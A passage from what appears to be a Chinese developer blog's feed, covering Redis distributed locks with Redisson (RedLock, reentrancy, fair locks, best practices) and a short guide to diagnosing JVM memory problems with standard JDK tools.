Redisson.create(config2);</span><br><span class="line">        </span><br><span class="line">        <span class="type">Config</span> <span class="variable">config3</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Config</span>();</span><br><span class="line">        config3.useSingleServer().setAddress(<span class="string">&quot;redis://192.168.1.103:6379&quot;</span>);</span><br><span class="line">        <span class="type">RedissonClient</span> <span class="variable">redisson3</span> <span class="operator">=</span> Redisson.create(config3);</span><br><span class="line">        </span><br><span class="line">        <span class="type">RLock</span> <span class="variable">lock1</span> <span class="operator">=</span> redisson1.getLock(<span class="string">&quot;lock&quot;</span>);</span><br><span class="line">        <span class="type">RLock</span> <span class="variable">lock2</span> <span class="operator">=</span> redisson2.getLock(<span class="string">&quot;lock&quot;</span>);</span><br><span class="line">        <span class="type">RLock</span> <span class="variable">lock3</span> <span class="operator">=</span> redisson3.getLock(<span class="string">&quot;lock&quot;</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">RedissonRedLock</span>(lock1, lock2, lock3);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RedLockService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> RedissonRedLock redLock;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doBusiness</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">boolean</span> <span class="variable">locked</span> <span class="operator">=</span> redLock.tryLock(<span class="number">10</span>, <span class="number">30</span>, TimeUnit.SECONDS);</span><br><span class="line">            <span class="keyword">if</span> (locked) &#123;</span><br><span class="line">                <span class="keyword">try</span> &#123;</span><br><span class="line">                    <span class="comment">// 执行业务</span></span><br><span class="line">                &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">                    redLock.unlock();</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">            Thread.currentThread().interrupt();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-4-RedLock的争议"><a href="#3-4-RedLock的争议" class="headerlink" title="3.4 RedLock的争议"></a>3.4 RedLock的争议</h2><p>Martin Kleppmann（《 Designing Data-Intensive Applications》作者）对RedLock的批评：</p><ol><li><strong>时钟问题</strong>：如果客户端时钟偏移，可能导致锁过期判断错误</li><li><strong>GC暂停</strong>：JVM GC可能导致客户端”假死”，锁已过期但客户端不知道</li><li><strong>网络延迟</strong>：获取锁的网络延迟可能影响判断</li></ol><p><strong>替代方案</strong>：</p><ul><li>使用ZooKeeper或etcd（基于CP的系统）</li><li>使用数据库悲观锁</li></ul><h2 id="四、可重入性问题"><a href="#四、可重入性问题" class="headerlink" title="四、可重入性问题"></a>四、可重入性问题</h2><p>#</p><h2 id="4-1-问题"><a href="#4-1-问题" class="headerlink" title="4.1 问题"></a>4.1 问题</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 简单的SETNX锁不可重入</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">methodA</span><span class="params">()</span> &#123;</span><br><span class="line">    lock(<span class="string">&quot;mylock&quot;</span>);  <span class="comment">// 获取锁成功</span></span><br><span class="line">    methodB();</span><br><span class="line">    unlock(<span class="string">&quot;mylock&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">methodB</span><span class="params">()</span> &#123;</span><br><span class="line">    lock(<span class="string">&quot;mylock&quot;</span>);  <span class="comment">// 获取锁失败（已经被methodA获取）</span></span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">    unlock(<span class="string">&quot;mylock&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-Redisson的可重入实现"><a href="#4-2-Redisson的可重入实现" class="headerlink" title="4.2 Redisson的可重入实现"></a>4.2 Redisson的可重入实现</h2><figure class="highlight lua"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 加锁（可重入）</span></span><br><span class="line"><span class="keyword">if</span> (redis.call(<span class="string">&#x27;exists&#x27;</span>, KEYS[<span class="number">1</span>]) == <span class="number">0</span>) <span class="keyword">then</span></span><br><span class="line">    <span class="comment">-- 锁不存在，创建hash</span></span><br><span class="line">    redis.call(<span class="string">&#x27;hincrby&#x27;</span>, KEYS[<span class="number">1</span>], ARGV[<span class="number">2</span>], <span class="number">1</span>);</span><br><span class="line">    redis.call(<span class="string">&#x27;pexpire&#x27;</span>, KEYS[<span class="number">1</span>], ARGV[<span class="number">1</span>]);</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">nil</span>;</span><br><span class="line"><span class="keyword">end</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (redis.call(<span class="string">&#x27;hexists&#x27;</span>, KEYS[<span class="number">1</span>], ARGV[<span class="number">2</span>]) == <span class="number">1</span>) <span class="keyword">then</span></span><br><span class="line">    <span class="comment">-- 锁存在且是当前线程，重入计数+1</span></span><br><span class="line">    redis.call(<span class="string">&#x27;hincrby&#x27;</span>, KEYS[<span class="number">1</span>], ARGV[<span class="number">2</span>], <span class="number">1</span>);</span><br><span class="line">    redis.call(<span class="string">&#x27;pexpire&#x27;</span>, KEYS[<span class="number">1</span>], ARGV[<span class="number">1</span>]);</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">nil</span>;</span><br><span class="line"><span class="keyword">end</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> redis.call(<span class="string">&#x27;pttl&#x27;</span>, KEYS[<span class="number">1</span>]);</span><br></pre></td></tr></table></figure><p><strong>key设计</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">mylock: &#123;</span><br><span class="line">    &quot;UUID:threadId&quot;: 2,  -- 重入计数</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、锁的性能优化"><a href="#五、锁的性能优化" class="headerlink" title="五、锁的性能优化"></a>五、锁的性能优化</h2><p>#</p><h2 id="5-1-锁粒度"><a href="#5-1-锁粒度" class="headerlink" title="5.1 锁粒度"></a>5.1 锁粒度</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 好的做法：细粒度锁</span></span><br><span class="line"><span class="type">RLock</span> <span class="variable">lock</span> <span class="operator">=</span> redisson.getLock(<span class="string">&quot;lock:order:&quot;</span> + orderId);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 不好的做法：粗粒度锁</span></span><br><span class="line"><span class="type">RLock</span> <span class="variable">lock</span> <span class="operator">=</span> redisson.getLock(<span class="string">&quot;lock:orders&quot;</span>);</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-锁等待策略"><a href="#5-2-锁等待策略" class="headerlink" title="5.2 锁等待策略"></a>5.2 锁等待策略</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 立即返回</span></span><br><span class="line"><span class="type">boolean</span> <span class="variable">locked</span> <span class="operator">=</span> lock.tryLock();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 等待一段时间</span></span><br><span class="line"><span class="type">boolean</span> <span class="variable">locked</span> <span class="operator">=</span> lock.tryLock(<span class="number">10</span>, TimeUnit.SECONDS);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 阻塞等待（默认）</span></span><br><span class="line">lock.lock();</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-分段锁"><a href="#5-3-分段锁" class="headerlink" title="5.3 分段锁"></a>5.3 分段锁</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 将大锁拆分为多个小锁</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SegmentLock</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">SEGMENT_COUNT</span> <span class="operator">=</span> <span class="number">16</span>;</span><br><span class="line">    <span class="keyword">private</span> RLock[] locks;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">SegmentLock</span><span class="params">(RedissonClient redisson)</span> &#123;</span><br><span class="line">        locks = <span class="keyword">new</span> <span class="title class_">RLock</span>[SEGMENT_COUNT];</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; SEGMENT_COUNT; i++) &#123;</span><br><span class="line">            locks[i] = redisson.getLock(<span class="string">&quot;segment:lock:&quot;</span> + i);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> RLock <span class="title function_">getLock</span><span class="params">(Object key)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">index</span> <span class="operator">=</span> key.hashCode() &amp; (SEGMENT_COUNT - <span class="number">1</span>);</span><br><span class="line">        <span class="keyword">return</span> locks[index];</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">lock</span><span class="params">(Object key)</span> &#123;</span><br><span class="line">        getLock(key).lock();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">unlock</span><span class="params">(Object key)</span> &#123;</span><br><span class="line">        getLock(key).unlock();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="六、分布式锁对比"><a href="#六、分布式锁对比" class="headerlink" title="六、分布式锁对比"></a>六、分布式锁对比</h2><table><thead><tr><th>特性</th><th>Redis</th><th>ZooKeeper</th><th>etcd</th></tr></thead><tbody><tr><td>一致性</td><td>AP</td><td>CP</td><td>CP</td></tr><tr><td>性能</td><td>高</td><td>中</td><td>高</td></tr><tr><td>可靠性</td><td>中（需RedLock）</td><td>高</td><td>高</td></tr><tr><td>实现复杂度</td><td>低</td><td>中</td><td>中</td></tr><tr><td>自动释放</td><td>支持（过期）</td><td>支持（session）</td><td>支持（lease）</td></tr><tr><td>可重入</td><td>需自己实现</td><td>支持</td><td>需自己实现</td></tr><tr><td>顺序性</td><td>不支持</td><td>支持</td><td>支持</td></tr></tbody></table><h2 id="七、最佳实践"><a href="#七、最佳实践" class="headerlink" title="七、最佳实践"></a>七、最佳实践</h2><p>#</p><h2 id="7-1-选择合适的锁实现"><a href="#7-1-选择合适的锁实现" class="headerlink" title="7.1 选择合适的锁实现"></a>7.1 选择合适的锁实现</h2><table><thead><tr><th>场景</th><th>推荐方案</th></tr></thead><tbody><tr><td>一般分布式锁</td><td>Redisson</td></tr><tr><td>对一致性要求极高</td><td>ZooKeeper/etcd</td></tr><tr><td>简单场景</td><td>SET NX EX</td></tr><tr><td>防止主从问题</td><td>RedLock或CP系统</td></tr></tbody></table><p>#</p><h2 id="7-2-锁使用规范"><a href="#7-2-锁使用规范" class="headerlink" title="7.2 锁使用规范"></a>7.2 锁使用规范</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LockBestPractice</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">safeLock</span><span class="params">(String lockKey, Runnable business)</span> &#123;</span><br><span class="line">        <span class="type">RLock</span> <span class="variable">lock</span> <span class="operator">=</span> redisson.getLock(lockKey);</span><br><span class="line">        <span class="type">boolean</span> <span class="variable">locked</span> <span class="operator">=</span> <span class="literal">false</span>;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">// 1. 尝试获取锁，设置超时</span></span><br><span class="line">            locked = lock.tryLock(<span class="number">10</span>, <span class="number">30</span>, TimeUnit.SECONDS);</span><br><span class="line">            <span class="keyword">if</span> (!locked) &#123;</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">LockException</span>(<span class="string">&quot;获取锁失败: &quot;</span> + lockKey);</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 2. 执行业务</span></span><br><span class="line">            business.run();</span><br><span class="line">            </span><br><span class="line">        &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">            Thread.currentThread().interrupt();</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">LockException</span>(<span class="string">&quot;获取锁被中断&quot;</span>, e);</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            <span class="comment">// 3. 确保释放锁</span></span><br><span class="line">            <span class="keyword">if</span> (locked &amp;&amp; lock.isHeldByCurrentThread()) &#123;</span><br><span class="line">                lock.unlock();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-3-避免死锁"><a href="#7-3-避免死锁" class="headerlink" title="7.3 避免死锁"></a>7.3 避免死锁</h2><ol><li><strong>设置过期时间</strong>：防止程序崩溃导致锁不释放</li><li><strong>使用try-finally</strong>：确保解锁</li><li><strong>避免嵌套锁</strong>：如果必须，统一获取顺序</li><li><strong>设置等待超时</strong>：避免无限等待</li></ol><h2 id="八、总结"><a href="#八、总结" class="headerlink" title="八、总结"></a>八、总结</h2><p>Redis分布式锁的可靠性要点：</p><ol><li><strong>原子操作</strong>：使用SET NX EX或Lua脚本</li><li><strong>唯一标识</strong>：防止误删他人锁</li><li><strong>自动续期</strong>：看门狗机制防止业务未完成锁过期</li><li><strong>主从问题</strong>：考虑RedLock或CP系统</li><li><strong>可重入性</strong>：使用Hash结构记录重入计数</li><li><strong>性能优化</strong>：控制锁粒度，使用分段锁</li></ol><p>核心认识：</p><ul><li>Redis分布式锁适合大多数场景</li><li>对一致性要求极高的场景考虑ZooKeeper/etcd</li><li>RedLock有争议，谨慎使用</li><li>正确的使用方式比选择工具更重要</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>内存溢出和内存泄漏排查流程</title>
      <link href="//nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/"/>
      <url>//nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="内存溢出和内存泄漏排查流程"><a href="#内存溢出和内存泄漏排查流程" class="headerlink" title="内存溢出和内存泄漏排查流程"></a>内存溢出和内存泄漏排查流程</h1><p>内存溢出和内存泄漏在 Java 项目中并不少见。本文讲排查流程和常见原因。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis分布式锁Redisson</title>
      <link href="//redis-redisson-distributed-lock/"/>
      <url>//redis-redisson-distributed-lock/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis分布式锁Redisson"><a href="#Redis分布式锁Redisson" class="headerlink" title="Redis分布式锁Redisson"></a>Redis分布式锁Redisson</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、Redisson简介"><a href="#一、Redisson简介" class="headerlink" title="一、Redisson简介"></a>一、Redisson简介</h2><p>#</p><h2 id="1-1-什么是Redisson"><a href="#1-1-什么是Redisson" class="headerlink" title="1.1 什么是Redisson"></a>1.1 什么是Redisson</h2><p>Redisson是一个基于Redis的Java驻内存数据网格（In-Memory Data Grid），提供了：</p><ul><li>分布式锁（Lock）</li><li>分布式集合（Map, Set, List）</li><li>分布式对象（Object, Bucket, AtomicLong）</li><li>分布式服务（Remote Service, Live Object Service）</li><li>分布式并发工具（Semaphore, CountDownLatch）</li></ul><p>#</p><h2 id="1-2-引入依赖"><a href="#1-2-引入依赖" class="headerlink" title="1.2 引入依赖"></a>1.2 引入依赖</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.redisson<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>redisson-spring-boot-starter<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.23.5<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-3-配置连接"><a href="#1-3-配置连接" class="headerlink" title="1.3 配置连接"></a>1.3 配置连接</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># application.yml</span></span><br><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">redis:</span></span><br><span class="line">    <span class="attr">redisson:</span></span><br><span class="line">      <span class="attr">config:</span> <span class="string">|</span></span><br><span class="line"><span class="string">        singleServerConfig:</span></span><br><span class="line"><span class="string">          address: &quot;redis://localhost:6379&quot;</span></span><br><span class="line"><span class="string">          password: null</span></span><br><span class="line"><span class="string">          database: 0</span></span><br><span class="line"><span class="string">          connectionMinimumIdleSize: 10</span></span><br><span class="line"><span class="string">          connectionPoolSize: 64</span></span><br><span class="line"><span class="string">          idleConnectionTimeout: 10000</span></span><br><span class="line"><span class="string">          connectTimeout: 10000</span></span><br><span class="line"><span class="string">          timeout: 3000</span></span><br><span class="line"><span class="string">          retryAttempts: 3</span></span><br><span class="line"><span class="string">          retryInterval: 1500</span></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// Java配置方式</span></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RedissonConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> RedissonClient <span class="title function_">redissonClient</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">Config</span> <span class="variable">config</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Config</span>();</span><br><span class="line">        config.useSingleServer()</span><br><span class="line">            .setAddress(<span class="string">&quot;redis://localhost:6379&quot;</span>)</span><br><span class="line">            .setConnectionPoolSize(<span class="number">64</span>)</span><br><span class="line">            .setConnectionMinimumIdleSize(<span class="number">10</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> Redisson.create(config);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="二、可重入锁（Reentrant-Lock）"><a href="#二、可重入锁（Reentrant-Lock）" class="headerlink" title="二、可重入锁（Reentrant Lock）"></a>二、可重入锁（Reentrant Lock）</h2><p>#</p><h2 id="2-1-基本使用"><a href="#2-1-基本使用" class="headerlink" title="2.1 基本使用"></a>2.1 基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> RedissonClient redisson;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">        <span class="type">RLock</span> <span class="variable">lock</span> <span class="operator">=</span> redisson.getLock(<span class="string">&quot;lock:order:&quot;</span> + userId);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">// 尝试获取锁，最多等待10秒，锁30秒后自动释放</span></span><br><span class="line">            <span class="type">boolean</span> <span class="variable">locked</span> <span class="operator">=</span> lock.tryLock(<span class="number">10</span>, <span class="number">30</span>, TimeUnit.SECONDS);</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">if</span> (locked) &#123;</span><br><span class="line">                <span class="keyword">try</span> &#123;</span><br><span class="line">                    <span class="comment">// 执行业务逻辑</span></span><br><span class="line">                    doCreateOrder(userId);</span><br><span class="line">                &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">                    lock.unlock();</span><br><span class="line">                &#125;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;获取锁失败&quot;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">            Thread.currentThread().interrupt();</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;获取锁被中断&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-看门狗自动续期"><a href="#2-2-看门狗自动续期" class="headerlink" title="2.2 看门狗自动续期"></a>2.2 看门狗自动续期</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 不指定leaseTime时，启用看门狗自动续期</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrderWithWatchdog</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">    <span class="type">RLock</span> <span class="variable">lock</span> <span class="operator">=</span> redisson.getLock(<span class="string">&quot;lock:order:&quot;</span> + userId);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="comment">// 只指定waitTime，不指定leaseTime</span></span><br><span class="line">        <span class="comment">// 获取锁后，看门狗会自动续期（默认30秒过期，每10秒续期）</span></span><br><span class="line">        <span class="type">boolean</span> <span class="variable">locked</span> <span class="operator">=</span> lock.tryLock(<span class="number">10</span>, TimeUnit.SECONDS);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (locked) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="comment">// 业务逻辑执行时间可能很长</span></span><br><span class="line">                <span class="comment">// 看门狗会自动续期，避免业务未完成锁就过期</span></span><br><span class="line">                doLongBusiness(userId);</span><br><span class="line">            &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">                lock.unlock();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">        Thread.currentThread().interrupt();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>看门狗机制</strong>：</p><ul><li>不指定leaseTime时启用</li><li>锁默认30秒过期</li><li>获取锁成功后，启动定时任务每10秒续期到30秒</li><li>业务完成解锁后，取消定时任务</li></ul><p>#</p><h2 id="2-3-可重入性"><a href="#2-3-可重入性" class="headerlink" title="2.3 可重入性"></a>2.3 可重入性</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">BusinessService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> RedissonClient redisson;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">methodA</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">RLock</span> <span class="variable">lock</span> <span class="operator">=</span> redisson.getLock(<span class="string">&quot;lock:business&quot;</span>);</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            lock.lock();</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 同一线程可以再次获取锁（可重入）</span></span><br><span class="line">            methodB();</span><br><span class="line">            </span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            lock.unlock();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">methodB</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">RLock</span> <span class="variable">lock</span> <span class="operator">=</span> redisson.getLock(<span class="string">&quot;lock:business&quot;</span>);</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            lock.lock();  <span class="comment">// 可重入，不会死锁</span></span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 执行业务</span></span><br><span class="line">            </span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            lock.unlock();  <span class="comment">// 需要unlock两次</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="三、公平锁（Fair-Lock）"><a href="#三、公平锁（Fair-Lock）" class="headerlink" title="三、公平锁（Fair Lock）"></a>三、公平锁（Fair Lock）</h2><p>#</p><h2 id="3-1-公平锁-vs-非公平锁"><a href="#3-1-公平锁-vs-非公平锁" class="headerlink" title="3.1 公平锁 vs 非公平锁"></a>3.1 公平锁 vs 非公平锁</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 非公平锁（默认）：抢锁模式，先到的线程不一定先获得锁</span></span><br><span class="line"><span class="type">RLock</span> <span class="variable">nonFairLock</span> <span class="operator">=</span> redisson.getLock(<span class="string">&quot;lock:order&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 公平锁：按请求锁的顺序获取</span></span><br><span class="line"><span class="type">RLock</span> <span class="variable">fairLock</span> <span class="operator">=</span> redisson.getFairLock(<span class="string">&quot;lock:order:fair&quot;</span>);</span><br></pre></td></tr></table></figure><p><strong>公平锁实现原理</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">获取锁时：</span><br><span class="line">1. 检查是否有等待队列</span><br><span class="line">2. 如果有，加入队列尾部等待</span><br><span class="line">3. 释放锁时，通知队列头部的线程</span><br><span class="line"></span><br><span class="line">非公平锁：</span><br><span class="line">1. 直接尝试获取锁</span><br><span class="line">2. 获取失败才进入队列</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-公平锁使用"><a href="#3-2-公平锁使用" class="headerlink" title="3.2 公平锁使用"></a>3.2 公平锁使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FairLockService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> RedissonClient redisson;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span 